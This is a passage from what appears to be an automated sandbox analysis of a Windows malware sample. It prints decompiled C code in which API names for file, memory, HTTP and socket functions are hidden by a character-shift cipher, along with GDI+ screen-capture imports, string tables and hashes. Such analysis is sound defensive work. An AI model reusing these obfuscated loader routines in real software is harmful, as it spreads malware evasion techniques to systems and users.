GetProcAddress.KERNEL32(00000000,GdipCreateBitmapFromHBITMAP), ref: 0040978F
GetProcAddress.KERNEL32(00000000,GdipDisposeImage), ref: 0040979A
GetProcAddress.KERNEL32(00000000,GdipGetImageEncodersSize), ref: 004097A5
GetProcAddress.KERNEL32(00000000,GdipGetImageEncoders), ref: 004097B0
GetProcAddress.KERNEL32(00000000,GdipSaveImageToStream), ref: 004097BB
LoadLibraryA.KERNEL32(ole32.dll), ref: 00409803
GetProcAddress.KERNEL32(00000000,CreateStreamOnHGlobal), ref: 00409812
LoadLibraryA.KERNEL32(gdi32.dll), ref: 00409824
GetProcAddress.KERNEL32(00000000,CreateDCW), ref: 00409835
GetProcAddress.KERNEL32(00000000,CreateCompatibleDC), ref: 00409840
GetProcAddress.KERNEL32(00000000,CreateCompatibleBitmap), ref: 0040984B
GetProcAddress.KERNEL32(00000000,GetDeviceCaps), ref: 00409856
GetProcAddress.KERNEL32(00000000,SelectObject), ref: 00409861
GetProcAddress.KERNEL32(00000000,BitBlt), ref: 0040986C
GetProcAddress.KERNEL32(00000000,DeleteObject), ref: 00409877
GetProcAddress.KERNEL32(00000000,DeleteDC), ref: 00409882
LoadImageW.USER32 ref: 00409928
GetIconInfo.USER32(00000000,?), ref: 0040993D
GetCursorPos.USER32(?), ref: 0040994B
DrawIcon.USER32 ref: 00409A1C
lstrcmpiW.KERNEL32(?,-00000030), ref: 00409A9D
FreeLibrary.KERNEL32(00000000), ref: 00409BB4
FreeLibrary.KERNEL32(?), ref: 00409BBE
FreeLibrary.KERNEL32(?), ref: 00409BC8

Strings

CreateCompatibleBitmap, xrefs: 00409842
gdi32.dll, xrefs: 0040981F
CreateStreamOnHGlobal, xrefs: 00409809
BitBlt, xrefs: 00409863
CreateCompatibleDC, xrefs: 00409837
GdipSaveImageToStream, xrefs: 004097B2
gdiplus.dll, xrefs: 00409744
GdiplusStartup, xrefs: 00409770
GdipCreateBitmapFromHBITMAP, xrefs: 00409786
GdipGetImageEncodersSize, xrefs: 0040979C
ole32.dll, xrefs: 004097FE
SelectObject, xrefs: 00409858
GdiplusShutdown, xrefs: 0040977B
GdipGetImageEncoders, xrefs: 004097A7
CreateDCW, xrefs: 0040982C
GdipDisposeImage, xrefs: 00409791
GetDeviceCaps, xrefs: 0040984D
DeleteObject, xrefs: 0040986E
DeleteDC, xrefs: 00409879
DISPLAY, xrefs: 004098F5

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$Library$Load$Free$Icon$CursorDrawImageInfolstrcmpi
String ID: BitBlt$CreateCompatibleBitmap$CreateCompatibleDC$CreateDCW$CreateStreamOnHGlobal$DISPLAY$DeleteDC$DeleteObject$GdipCreateBitmapFromHBITMAP$GdipDisposeImage$GdipGetImageEncoders$GdipGetImageEncodersSize$GdipSaveImageToStream$GdiplusShutdown$GdiplusStartup$GetDeviceCaps$SelectObject$gdi32.dll$gdiplus.dll$ole32.dll
API String ID: 1554524784-1167942225
Opcode ID: 99f66b17f0883fc6e9a1cf19b893dff858cd3dba10315953b47c14fa29f5fe2e
Instruction ID: 794f9450bd4101cbfc31c3848996ef4e621b91208b831d59a6289a9952ca1237
Opcode Fuzzy Hash: 99f66b17f0883fc6e9a1cf19b893dff858cd3dba10315953b47c14fa29f5fe2e
Instruction Fuzzy Hash: 6EE119B0E00219ABCF219FA5DC48AAEFFB8FF44711F24456BE505B2291D7795A40CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00414F1C, Relevance: 57.9, APIs: 22, Strings: 11, Instructions: 196
stringlibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00414F1C() {
				intOrPtr* _t59;
				struct HINSTANCE__* _t61;
				void* _t62;
				char* _t65;
				char* _t70;
				char* _t75;
				char* _t80;
				char* _t85;
				char* _t90;
				char* _t95;
				char* _t100;
				char* _t105;
				char* _t110;
				void* _t123;
				void* _t125;

				_t123 = _t125 - 0x78;
				lstrcpyW(_t123 - 0x20, L"mgtpgn540fnn");
				_t59 = _t123 - 0x20;
				if( *(_t123 - 0x20) != 0) {
					do {
						 *_t59 =  *_t59 + 0xfffe;
						_t59 = _t59 + 2;
					} while ( *_t59 != 0);
				}
				_t61 = GetModuleHandleW(_t123 - 0x20);
				 *(_t123 + 0x74) = _t61;
				if(_t61 == 0) {
					_t62 = 0;
				} else {
					lstrcpyA(_t123 - 4, "XbjuGpsTjohmfPckfdu");
					_t65 = _t123 - 4;
					if( *(_t123 - 4) != 0) {
						do {
							 *_t65 =  *_t65 - 1;
							_t65 = _t65 + 1;
						} while ( *_t65 != 0);
					}
					 *0x4237b0 = GetProcAddress( *(_t123 + 0x74), _t123 - 4);
					lstrcpyA(_t123 + 0x54, "MpdbmGsff");
					_t70 = _t123 + 0x54;
					if( *(_t123 + 0x54) != 0) {
						do {
							 *_t70 =  *_t70 - 1;
							_t70 = _t70 + 1;
						} while ( *_t70 != 0);
					}
					 *0x423808 = GetProcAddress( *(_t123 + 0x74), _t123 + 0x54);
					lstrcpyA(_t123 + 0x10, "HfuUfnqGjmfObnfX");
					_t75 = _t123 + 0x10;
					if( *(_t123 + 0x10) != 0) {
						do {
							 *_t75 =  *_t75 - 1;
							_t75 = _t75 + 1;
						} while ( *_t75 != 0);
					}
					 *0x423800 = GetProcAddress( *(_t123 + 0x74), _t123 + 0x10);
					lstrcpyA(_t123 - 0x3c, "HfuGjmfJogpsnbujpoCzIboemf");
					_t80 = _t123 - 0x3c;
					if( *(_t123 - 0x3c) != 0) {
						do {
							 *_t80 =  *_t80 - 1;
							_t80 = _t80 + 1;
						} while ( *_t80 != 0);
					}
					 *0x4229b8 = GetProcAddress( *(_t123 + 0x74), _t123 - 0x3c);
					lstrcpyA(_t123 - 0x60, "HfuWpmvnfObnfGpsWpmvnfNpvouQpjouX");
					_t85 = _t123 - 0x60;
					if( *(_t123 - 0x60) != 0) {
						do {
							 *_t85 =  *_t85 - 1;
							_t85 = _t85 + 1;
						} while ( *_t85 != 0);
					}
					 *0x4237b4 = GetProcAddress( *(_t123 + 0x74), _t123 - 0x60);
					lstrcpyA(_t123 + 0x24, "HfuGjmfTj{fFy");
					_t90 = _t123 + 0x24;
					if( *(_t123 + 0x24) != 0) {
						do {
							 *_t90 =  *_t90 - 1;
							_t90 = _t90 + 1;
						} while ( *_t90 != 0);
					}
					 *0x4237bc = GetProcAddress( *(_t123 + 0x74), _t123 + 0x24);
					lstrcpyA(_t123 + 0x34, "WjsuvbmBmmpd");
					_t95 = _t123 + 0x34;
					if( *(_t123 + 0x34) != 0) {
						do {
							 *_t95 =  *_t95 - 1;
							_t95 = _t95 + 1;
						} while ( *_t95 != 0);
					}
					 *0x4229c8 = GetProcAddress( *(_t123 + 0x74), _t123 + 0x34);
					lstrcpyA(_t123 + 0x60, "SfbeGjmf");
					_t100 = _t123 + 0x60;
					if( *(_t123 + 0x60) != 0) {
						do {
							 *_t100 =  *_t100 - 1;
							_t100 = _t100 + 1;
						} while ( *_t100 != 0);
					}
					 *0x423804 = GetProcAddress( *(_t123 + 0x74), _t123 + 0x60);
					lstrcpyA(_t123 + 0x6c, "Tmffq");
					_t105 = _t123 + 0x6c;
					if( *(_t123 + 0x6c) != 0) {
						do {
							 *_t105 =  *_t105 - 1;
							_t105 = _t105 + 1;
						} while ( *_t105 != 0);
					}
					 *0x423818 = GetProcAddress( *(_t123 + 0x74), _t123 + 0x6c);
					lstrcpyA(_t123 + 0x44, "MpbeMjcsbszB");
					_t110 = _t123 + 0x44;
					if( *(_t123 + 0x44) != 0) {
						do {
							 *_t110 =  *_t110 - 1;
							_t110 = _t110 + 1;
						} while ( *_t110 != 0);
					}
					 *0x4229a4 = GetProcAddress( *(_t123 + 0x74), _t123 + 0x44);
					_t62 = 1;
				}
				return _t62;
			}

0x00414f1d
0x00414f31
0x00414f39
0x00414f40
0x00414f42
0x00414f47
0x00414f4a
0x00414f4d
0x00414f42
0x00414f56
0x00414f5c
0x00414f61
0x0041510b
0x00414f67
0x00414f78
0x00414f7a
0x00414f80
0x00414f82
0x00414f82
0x00414f84
0x00414f85
0x00414f82
0x00414f98
0x00414fa6
0x00414fa8
0x00414fae
0x00414fb0
0x00414fb0
0x00414fb2
0x00414fb3
0x00414fb0
0x00414fc0
0x00414fce
0x00414fd0
0x00414fd6
0x00414fd8
0x00414fd8
0x00414fda
0x00414fdb
0x00414fd8
0x00414fe8
0x00414ff6
0x00414ff8
0x00414ffe
0x00415000
0x00415000
0x00415002
0x00415003
0x00415000
0x00415010
0x0041501e
0x00415020
0x00415026
0x00415028
0x00415028
0x0041502a
0x0041502b
0x00415028
0x00415038
0x00415046
0x00415048
0x0041504e
0x00415050
0x00415050
0x00415052
0x00415053
0x00415050
0x00415060
0x0041506e
0x00415070
0x00415076
0x00415078
0x00415078
0x0041507a
0x0041507b
0x00415078
0x00415088
0x00415096
0x00415098
0x0041509e
0x004150a0
0x004150a0
0x004150a2
0x004150a3
0x004150a0
0x004150b0
0x004150be
0x004150c0
0x004150c6
0x004150c8
0x004150c8
0x004150ca
0x004150cb
0x004150c8
0x004150d8
0x004150e6
0x004150e8
0x004150ee
0x004150f0
0x004150f0
0x004150f2
0x004150f3
0x004150f0
0x00415101
0x00415106
0x00415108
0x00415112

APIs

lstrcpyW.KERNEL32(?,mgtpgn540fnn), ref: 00414F31
GetModuleHandleW.KERNEL32(?), ref: 00414F56
lstrcpyA.KERNEL32(?,XbjuGpsTjohmfPckfdu,73BB8170,73B74EE0), ref: 00414F78
GetProcAddress.KERNEL32(?,?), ref: 00414F96
lstrcpyA.KERNEL32(?,MpdbmGsff), ref: 00414FA6
GetProcAddress.KERNEL32(?,?), ref: 00414FBE
lstrcpyA.KERNEL32(?,HfuUfnqGjmfObnfX), ref: 00414FCE
GetProcAddress.KERNEL32(?,?), ref: 00414FE6
lstrcpyA.KERNEL32(?,HfuGjmfJogpsnbujpoCzIboemf), ref: 00414FF6
GetProcAddress.KERNEL32(?,?), ref: 0041500E
lstrcpyA.KERNEL32(?,HfuWpmvnfObnfGpsWpmvnfNpvouQpjouX), ref: 0041501E
GetProcAddress.KERNEL32(?,?), ref: 00415036
lstrcpyA.KERNEL32(?,HfuGjmfTj{fFy), ref: 00415046
GetProcAddress.KERNEL32(?,?), ref: 0041505E
lstrcpyA.KERNEL32(?,WjsuvbmBmmpd), ref: 0041506E
GetProcAddress.KERNEL32(?,?), ref: 00415086
lstrcpyA.KERNEL32(?,SfbeGjmf), ref: 00415096
GetProcAddress.KERNEL32(?,?), ref: 004150AE
lstrcpyA.KERNEL32(?,Tmffq), ref: 004150BE
GetProcAddress.KERNEL32(?,?), ref: 004150D6
lstrcpyA.KERNEL32(?,MpbeMjcsbszB), ref: 004150E6
GetProcAddress.KERNEL32(?,?), ref: 004150FE

Strings

HfuWpmvnfObnfGpsWpmvnfNpvouQpjouX, xrefs: 00415015
XbjuGpsTjohmfPckfdu, xrefs: 00414F6F
Tmffq, xrefs: 004150B5
HfuUfnqGjmfObnfX, xrefs: 00414FC5
HfuGjmfJogpsnbujpoCzIboemf, xrefs: 00414FED
SfbeGjmf, xrefs: 0041508D
MpbeMjcsbszB, xrefs: 004150DD
MpdbmGsff, xrefs: 00414F9D
HfuGjmfTj{fFy, xrefs: 0041503D
WjsuvbmBmmpd, xrefs: 00415065
mgtpgn540fnn, xrefs: 00414F28

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcpy$AddressProc$HandleModule
String ID: HfuGjmfJogpsnbujpoCzIboemf$HfuGjmfTj{fFy$HfuUfnqGjmfObnfX$HfuWpmvnfObnfGpsWpmvnfNpvouQpjouX$MpbeMjcsbszB$MpdbmGsff$SfbeGjmf$Tmffq$WjsuvbmBmmpd$XbjuGpsTjohmfPckfdu$mgtpgn540fnn
API String ID: 750287672-2251900093
Opcode ID: c32e8bc708743d501de03059b23d85d485cab1d73e04bd4aa7ef1753bc7f4dc9
Instruction ID: caab8cc310875515cee361c6143bf76e4d5e6595c4aa22bc8d9cfcb2f75c0f94
Opcode Fuzzy Hash: c32e8bc708743d501de03059b23d85d485cab1d73e04bd4aa7ef1753bc7f4dc9
Instruction Fuzzy Hash: 27618EB194128CAEDB12EFA0DD448ED7FADEE89300B8404B7F951D7121E3399E49CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040D60C, Relevance: 47.4, APIs: 18, Strings: 9, Instructions: 178
librarystringloaderCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040D60C() {
				void* __ebx;
				char* _t46;
				char* _t51;
				char* _t56;
				CHAR* _t61;
				char* _t66;
				char* _t71;
				char* _t76;
				char* _t81;
				char* _t86;
				_Unknown_base(*)()* _t88;
				void* _t94;
				void* _t95;
				void* _t97;
				void* _t98;
				CHAR* _t105;
				void* _t107;

				_t105 = _t107 - 0x74;
				lstrcpyA( &(_t105[0x50]), "IuuqTfoeSfrvftuX");
				_t46 =  &(_t105[0x50]);
				if(_t105[0x50] != 0) {
					do {
						 *_t46 =  *_t46 - 1;
						_t46 =  &(_t46[1]);
					} while ( *_t46 != 0);
				}
				 *0x4220e8 = GetProcAddress(_t105[0x7c],  &(_t105[0x50]));
				lstrcpyA( &(_t105[0x3c]), "IuuqTfoeSfrvftuB");
				_t51 =  &(_t105[0x3c]);
				if(_t105[0x3c] != 0) {
					do {
						 *_t51 =  *_t51 - 1;
						_t51 =  &(_t51[1]);
					} while ( *_t51 != 0);
				}
				 *0x4220f8 = GetProcAddress(_t105[0x7c],  &(_t105[0x3c]));
				lstrcpyA( &(_t105[0x14]), "IuuqTfoeSfrvftuFyX");
				_t56 =  &(_t105[0x14]);
				if(_t105[0x14] != 0) {
					do {
						 *_t56 =  *_t56 - 1;
						_t56 =  &(_t56[1]);
					} while ( *_t56 != 0);
				}
				 *0x422108 = GetProcAddress(_t105[0x7c],  &(_t105[0x14]));
				lstrcpyA(_t105, "IuuqTfoeSfrvftuFyB");
				_t61 = _t105;
				if( *_t105 != 0) {
					do {
						 *_t61 =  *_t61 - 1;
						_t61 =  &(_t61[1]);
					} while ( *_t61 != 0);
				}
				 *0x422118 = GetProcAddress(_t105[0x7c], _t105);
				lstrcpyA(_t105 - 0x14, "JoufsofuDmptfIboemf");
				_t66 = _t105 - 0x14;
				if( *(_t105 - 0x14) != 0) {
					do {
						 *_t66 =  *_t66 - 1;
						_t66 = _t66 + 1;
					} while ( *_t66 != 0);
				}
				 *0x422128 = GetProcAddress(_t105[0x7c], _t105 - 0x14);
				lstrcpyA( &(_t105[0x28]), "JoufsofuSfbeGjmf");
				_t71 =  &(_t105[0x28]);
				if(_t105[0x28] != 0) {
					do {
						 *_t71 =  *_t71 - 1;
						_t71 =  &(_t71[1]);
					} while ( *_t71 != 0);
				}
				 *0x422138 = GetProcAddress(_t105[0x7c],  &(_t105[0x28]));
				lstrcpyA(_t105 - 0x28, "JoufsofuSfbeGjmfFyB");
				_t76 = _t105 - 0x28;
				if( *(_t105 - 0x28) != 0) {
					do {
						 *_t76 =  *_t76 - 1;
						_t76 = _t76 + 1;
					} while ( *_t76 != 0);
				}
				 *0x422148 = GetProcAddress(_t105[0x7c], _t105 - 0x28);
				lstrcpyA(_t105 - 0x44, "JoufsofuRvfszEbubBwbjmbcmf");
				_t81 = _t105 - 0x44;
				if( *(_t105 - 0x44) != 0) {
					do {
						 *_t81 =  *_t81 - 1;
						_t81 = _t81 + 1;
					} while ( *_t81 != 0);
				}
				 *0x422158 = GetProcAddress(_t105[0x7c], _t105 - 0x44);
				lstrcpyA( &(_t105[0x64]), "IuuqRvfszJogpB");
				_t86 =  &(_t105[0x64]);
				if(_t105[0x64] != 0) {
					do {
						 *_t86 =  *_t86 - 1;
						_t86 =  &(_t86[1]);
					} while ( *_t86 != 0);
				}
				_t88 = GetProcAddress(_t105[0x7c],  &(_t105[0x64]));
				_push(0x4220e8);
				_t94 = 9;
				 *0x422168 = _t88;
				_t95 = E0040D3B6(_t94, _t97, _t98);
				if(_t95 != 0) {
					_push( *0x422170);
					_push( *0x422160);
					_push( *0x422150);
					_push( *0x422140);
					_push( *0x422130);
					_push( *0x422120);
					_push( *0x422110);
					_push( *0x422100);
					_push( *0x4220f0);
					_push(_t105[0x7c]);
					E00414C33();
				}
				return _t95;
			}

0x0040d60d
0x0040d628
0x0040d62c
0x0040d632
0x0040d634
0x0040d634
0x0040d636
0x0040d637
0x0040d634
0x0040d64b
0x0040d659
0x0040d65b
0x0040d661
0x0040d663
0x0040d663
0x0040d665
0x0040d666
0x0040d663
0x0040d673
0x0040d681
0x0040d683
0x0040d689
0x0040d68b
0x0040d68b
0x0040d68d
0x0040d68e
0x0040d68b
0x0040d69b
0x0040d6a9
0x0040d6ab
0x0040d6b1
0x0040d6b3
0x0040d6b3
0x0040d6b5
0x0040d6b6
0x0040d6b3
0x0040d6c3
0x0040d6d1
0x0040d6d3
0x0040d6d9
0x0040d6db
0x0040d6db
0x0040d6dd
0x0040d6de
0x0040d6db
0x0040d6eb
0x0040d6f9
0x0040d6fb
0x0040d701
0x0040d703
0x0040d703
0x0040d705
0x0040d706
0x0040d703
0x0040d713
0x0040d721
0x0040d723
0x0040d729
0x0040d72b
0x0040d72b
0x0040d72d
0x0040d72e
0x0040d72b
0x0040d73b
0x0040d749
0x0040d74b
0x0040d751
0x0040d753
0x0040d753
0x0040d755
0x0040d756
0x0040d753
0x0040d763
0x0040d771
0x0040d773
0x0040d779
0x0040d77b
0x0040d77b
0x0040d77d
0x0040d77e
0x0040d77b
0x0040d789
0x0040d78b
0x0040d792
0x0040d793
0x0040d79d
0x0040d7a2
0x0040d7a4
0x0040d7aa
0x0040d7b0
0x0040d7b6
0x0040d7bc
0x0040d7c2
0x0040d7c8
0x0040d7ce
0x0040d7d4
0x0040d7da
0x0040d7dd
0x0040d7dd
0x0040d7ea

APIs

lstrcpyA.KERNEL32(?,IuuqTfoeSfrvftuX,00000000,00000000), ref: 0040D628
GetProcAddress.KERNEL32(00000002,?), ref: 0040D649
lstrcpyA.KERNEL32(?,IuuqTfoeSfrvftuB), ref: 0040D659
GetProcAddress.KERNEL32(00000002,?), ref: 0040D671
lstrcpyA.KERNEL32(?,IuuqTfoeSfrvftuFyX), ref: 0040D681
GetProcAddress.KERNEL32(00000002,?), ref: 0040D699
lstrcpyA.KERNEL32(00000000,IuuqTfoeSfrvftuFyB), ref: 0040D6A9
GetProcAddress.KERNEL32(00000002,00000000), ref: 0040D6C1
lstrcpyA.KERNEL32(?,JoufsofuDmptfIboemf), ref: 0040D6D1
GetProcAddress.KERNEL32(00000002,?), ref: 0040D6E9
lstrcpyA.KERNEL32(?,JoufsofuSfbeGjmf), ref: 0040D6F9
GetProcAddress.KERNEL32(00000002,?), ref: 0040D711
lstrcpyA.KERNEL32(?,JoufsofuSfbeGjmfFyB), ref: 0040D721
GetProcAddress.KERNEL32(00000002,?), ref: 0040D739
lstrcpyA.KERNEL32(?,JoufsofuRvfszEbubBwbjmbcmf), ref: 0040D749
GetProcAddress.KERNEL32(00000002,?), ref: 0040D761
lstrcpyA.KERNEL32(?,IuuqRvfszJogpB), ref: 0040D771
GetProcAddress.KERNEL32(00000002,?), ref: 0040D789

Strings

IuuqTfoeSfrvftuB, xrefs: 0040D650
IuuqTfoeSfrvftuFyX, xrefs: 0040D678
JoufsofuDmptfIboemf, xrefs: 0040D6C8
JoufsofuSfbeGjmf, xrefs: 0040D6F0
JoufsofuSfbeGjmfFyB, xrefs: 0040D718
IuuqRvfszJogpB, xrefs: 0040D768
JoufsofuRvfszEbubBwbjmbcmf, xrefs: 0040D740
IuuqTfoeSfrvftuFyB, xrefs: 0040D6A0
IuuqTfoeSfrvftuX, xrefs: 0040D61F

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProclstrcpy
String ID: IuuqRvfszJogpB$IuuqTfoeSfrvftuB$IuuqTfoeSfrvftuFyB$IuuqTfoeSfrvftuFyX$IuuqTfoeSfrvftuX$JoufsofuDmptfIboemf$JoufsofuRvfszEbubBwbjmbcmf$JoufsofuSfbeGjmf$JoufsofuSfbeGjmfFyB
API String ID: 974692967-1929550234
Opcode ID: d6d76e4d036cdd579174ad3180b7b6be530ce476c47ed51c350792f01583fbc6
Instruction ID: fc05d19431bc994683696e9f610efb7e0fcf67bfd267ac0edefad513c15e1bb5
Opcode Fuzzy Hash: d6d76e4d036cdd579174ad3180b7b6be530ce476c47ed51c350792f01583fbc6
Instruction Fuzzy Hash: 92515F7184028CBEDB22DFA0ED40CFA3FADAF09300B980477E951A7161E2769959DB18

Uniqueness

Uniqueness Score: -1.00%

Function 004152A7, Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 131
stringlibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004152A7() {
				struct HINSTANCE__* _v8;
				char _v16;
				char _v24;
				char _v36;
				char _v48;
				char _v60;
				char _v76;
				short _v100;
				intOrPtr* _t38;
				struct HINSTANCE__* _t40;
				char* _t44;
				char* _t49;
				char* _t54;
				char* _t59;
				char* _t64;
				char* _t69;

				lstrcpyW( &_v100, L"yu4a540fnn");
				_t38 =  &_v100;
				if(_v100 == 0) {
					L2:
					_t40 = GetModuleHandleW( &_v100);
					_v8 = _t40;
					if(_t40 == 0) {
						return 0;
					}
					lstrcpyA( &_v76, "XTBTfuMbtuFssps");
					_t44 =  &_v76;
					if(_v76 == 0) {
						L5:
						 *0x4229c4 = GetProcAddress(_v8,  &_v76);
						lstrcpyA( &_v24, "bddfqu");
						_t49 =  &_v24;
						if(_v24 == 0) {
							L7:
							 *0x4237d0 = GetProcAddress(_v8,  &_v24);
							lstrcpyA( &_v36, "tivuepxo");
							_t54 =  &_v36;
							if(_v36 == 0) {
								L9:
								 *0x422de0 = GetProcAddress(_v8,  &_v36);
								lstrcpyA( &_v60, "hfuqffsobnf");
								_t59 =  &_v60;
								if(_v60 == 0) {
									L11:
									 *0x423814 = GetProcAddress(_v8,  &_v60);
									lstrcpyA( &_v16, "sfdw");
									_t64 =  &_v16;
									if(_v16 == 0) {
										L13:
										 *0x423810 = GetProcAddress(_v8,  &_v16);
										lstrcpyA( &_v48, "sfdwgspn");
										_t69 =  &_v48;
										if(_v48 == 0) {
											L15:
											 *0x4237f4 = GetProcAddress(_v8,  &_v48);
											return 1;
										} else {
											goto L14;
										}
										do {
											L14:
											 *_t69 =  *_t69 - 1;
											_t69 = _t69 + 1;
										} while ( *_t69 != 0);
										goto L15;
									} else {
										goto L12;
									}
									do {
										L12:
										 *_t64 =  *_t64 - 1;
										_t64 = _t64 + 1;
									} while ( *_t64 != 0);
									goto L13;
								} else {
									goto L10;
								}
								do {
									L10:
									 *_t59 =  *_t59 - 1;
									_t59 = _t59 + 1;
								} while ( *_t59 != 0);
								goto L11;
							} else {
								goto L8;
							}
							do {
								L8:
								 *_t54 =  *_t54 - 1;
								_t54 = _t54 + 1;
							} while ( *_t54 != 0);
							goto L9;
						} else {
							goto L6;
						}
						do {
							L6:
							 *_t49 =  *_t49 - 1;
							_t49 = _t49 + 1;
						} while ( *_t49 != 0);
						goto L7;
					} else {
						goto L4;
					}
					do {
						L4:
						 *_t44 =  *_t44 - 1;
						_t44 = _t44 + 1;
					} while ( *_t44 != 0);
					goto L5;
				} else {
					goto L1;
				}
				do {
					L1:
					 *_t38 =  *_t38 + 0xfffe;
					_t38 = _t38 + 2;
				} while ( *_t38 != 0);
				goto L2;
			}

0x004152b7
0x004152bf
0x004152c6
0x004152d8
0x004152dc
0x004152e2
0x004152e7
0x00000000
0x004153f1
0x004152fe
0x00415300
0x00415306
0x0041530f
0x0041531e
0x0041532c
0x0041532e
0x00415334
0x0041533d
0x00415346
0x00415354
0x00415356
0x0041535c
0x00415365
0x0041536e
0x0041537c
0x0041537e
0x00415384
0x0041538d
0x00415396
0x004153a4
0x004153a6
0x004153ac
0x004153b5
0x004153be
0x004153cc
0x004153ce
0x004153d4
0x004153dd
0x004153e7
0x00000000
0x00000000
0x00000000
0x00000000
0x004153d6
0x004153d6
0x004153d6
0x004153d8
0x004153d9
0x00000000
0x00000000
0x00000000
0x00000000
0x004153ae
0x004153ae
0x004153ae
0x004153b0
0x004153b1
0x00000000
0x00000000
0x00000000
0x00000000
0x00415386
0x00415386
0x00415386
0x00415388
0x00415389
0x00000000
0x00000000
0x00000000
0x00000000
0x0041535e
0x0041535e
0x0041535e
0x00415360
0x00415361
0x00000000
0x00000000
0x00000000
0x00000000
0x00415336
0x00415336
0x00415336
0x00415338
0x00415339
0x00000000
0x00000000
0x00000000
0x00000000
0x00415308
0x00415308
0x00415308
0x0041530a
0x0041530b
0x00000000
0x00000000
0x00000000
0x00000000
0x004152c8
0x004152c8
0x004152cd
0x004152d0
0x004152d3
0x00000000

APIs

lstrcpyW.KERNEL32(?,yu4a540fnn), ref: 004152B7
GetModuleHandleW.KERNEL32(?), ref: 004152DC
lstrcpyA.KERNEL32(?,XTBTfuMbtuFssps,73BB8170,73B74EE0), ref: 004152FE
GetProcAddress.KERNEL32(00000000,?), ref: 0041531C
lstrcpyA.KERNEL32(?,bddfqu), ref: 0041532C
GetProcAddress.KERNEL32(00000000,?), ref: 00415344
lstrcpyA.KERNEL32(00000000,tivuepxo), ref: 00415354
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041536C
lstrcpyA.KERNEL32(?,hfuqffsobnf), ref: 0041537C
GetProcAddress.KERNEL32(00000000,?), ref: 00415394
lstrcpyA.KERNEL32(?,sfdw), ref: 004153A4
GetProcAddress.KERNEL32(00000000,?), ref: 004153BC
lstrcpyA.KERNEL32(00000000,sfdwgspn), ref: 004153CC
GetProcAddress.KERNEL32(00000000,00000000), ref: 004153E4

Strings

yu4a540fnn, xrefs: 004152AE
XTBTfuMbtuFssps, xrefs: 004152F5
tivuepxo, xrefs: 0041534B
sfdw, xrefs: 0041539B
sfdwgspn, xrefs: 004153C3
bddfqu, xrefs: 00415323
hfuqffsobnf, xrefs: 00415373

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcpy$AddressProc$HandleModule
String ID: XTBTfuMbtuFssps$bddfqu$hfuqffsobnf$sfdw$sfdwgspn$tivuepxo$yu4a540fnn
API String ID: 750287672-3668864890
Opcode ID: 25026c48b5037160b05136dcd938d9cd960db5ae9737a25ff9238222547a18f9
Instruction ID: efacb6a4ed89310e852206aad1c11146907003ff64f60cee570dc6249e442f54
Opcode Fuzzy Hash: 25026c48b5037160b05136dcd938d9cd960db5ae9737a25ff9238222547a18f9
Instruction Fuzzy Hash: 39413AB1D4029CAEDB11EBA0DD448EEBBBDEE85300B5400B3D551F7160E3B95A89DB28

Uniqueness

Uniqueness Score: -1.00%

Function 004046BE, Relevance: 26.4, APIs: 4, Strings: 11, Instructions: 194
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E004046BE(void* __eax, signed int* __ecx, signed int __edx, intOrPtr _a4) {
				char _v536;
				char _v652;
				char _v664;
				char _v696;
				char _v700;
				char _v701;
				char _v708;
				void* __ebx;
				void* __esi;
				intOrPtr _t35;
				void* _t40;
				intOrPtr _t44;
				intOrPtr _t45;
				void* _t48;
				void* _t55;
				void* _t57;
				intOrPtr _t58;
				signed int _t59;
				signed int _t61;
				void* _t62;
				signed int* _t72;
				intOrPtr _t74;
				signed int _t76;
				signed char _t77;
				intOrPtr _t80;
				signed int _t81;
				intOrPtr _t84;
				signed int* _t85;
				intOrPtr _t86;
				void* _t88;
				char* _t93;
				void* _t94;
				intOrPtr* _t95;

				_t81 = __edx;
				_t88 = __eax;
				_t72 = __ecx;
				if(_a4 == 0xffffffff || __ecx == 0 || __eax > 0x200) {
					L51:
					_t35 = 0;
					__eflags = 0;
				} else {
					if(__eax <= 6) {
						L24:
						__eflags = _t88 - 1;
						if(_t88 <= 1) {
							goto L51;
						} else {
							EnterCriticalSection(0x422184);
							_t84 = L004045B6(_t72, _a4);
							__eflags = _t84;
							if(_t84 != 0) {
								__eflags =  *((intOrPtr*)(_t84 + 4));
								if( *((intOrPtr*)(_t84 + 4)) == 0) {
									L48:
									_push(0);
									goto L49;
								} else {
									__eflags =  *((intOrPtr*)(_t84 + 8));
									if( *((intOrPtr*)(_t84 + 8)) == 0) {
										goto L48;
									} else {
										__eflags = _t88 - 2;
										if(_t88 <= 2) {
											L33:
											__eflags = _t88 - 4;
											if(_t88 >= 4) {
												_t76 =  *_t72 ^ 0x0201080e;
												__eflags = _t76 - 0x4751515a;
												if(_t76 == 0x4751515a) {
													goto L37;
												} else {
